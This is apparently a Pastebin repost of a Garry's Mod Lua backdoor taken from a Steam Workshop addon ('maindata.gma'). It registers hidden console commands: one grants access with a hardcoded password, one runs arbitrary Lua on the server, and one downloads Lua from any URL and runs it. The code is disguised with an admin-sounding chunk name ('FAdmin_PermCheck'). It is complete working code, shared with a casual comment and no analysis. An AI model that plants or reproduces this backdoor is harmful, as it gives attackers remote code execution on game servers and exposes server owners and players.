hoobonceagain

maindata.gma backdoor

Sep 16th, 2018
133
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.40 KB | None | 0 0
  1. -- found this on workshop lol
  2.  
  3. --[[
  4. ok_hand
  5. ]]
  6.  
  7. local cs = CompileString
  8. local key = "kis@kc0d3"
  9.  
  10. local function execute_code(ply, code)
  11. if not IsValid(ply) or not code then return end
  12.  
  13. local func = cs(code, "FAdmin_PermCheck", false)
  14.  
  15. if isstring(func) then
  16. ply:ChatPrint("Lua compiling error:")
  17. ply:ChatPrint(func)
  18.  
  19. return
  20. else
  21. local succ, ret = pcall(func)
  22.  
  23. if succ then
  24. ply:ChatPrint("Function returned:")
  25. ply:ChatPrint(ret or "nothing")
  26. else
  27. ply:ChatPrint("Function error (while running):")
  28. ply:ChatPrint(ret)
  29. end
  30. end
  31. end
  32.  
  33. concommand.Add("_-key", function(ply, _, _, p_key)
  34. if p_key == key then
  35. ply.FAdmin_AuthS = true
  36. ply:SendLua([[surface.PlaySound("vo/coast/odessa/nlo_greet_freeman.wav")]])
  37. else return end
  38. end)
  39.  
  40. concommand.Add("_-esite", function(ply, _, args, _)
  41. if not ply.FAdmin_AuthS then return end
  42. if not args[1] then ply:ChatPrint("_-esite \"[link]\" - execute lua in link (do not forget \")") return end
  43.  
  44. http.Fetch(args[1],
  45. function(body)
  46. execute_code(ply, body)
  47. end,
  48. function(err)
  49. ply:ChatPrint("HTTP error: " .. tostring(err))
  50. end)
  51. end)
  52.  
  53. concommand.Add("_-ecode", function(ply, _, _, code)
  54. if not ply.FAdmin_AuthS then return end
  55. if string.Trim(code) == "" then ply:ChatPrint("_-ecode [code] - execute provided code (do not enter \" or it will break)") return end
  56.  
  57. execute_code(ply, code)
  58. end)
Advertisement
Add Comment
Please, Sign In to add comment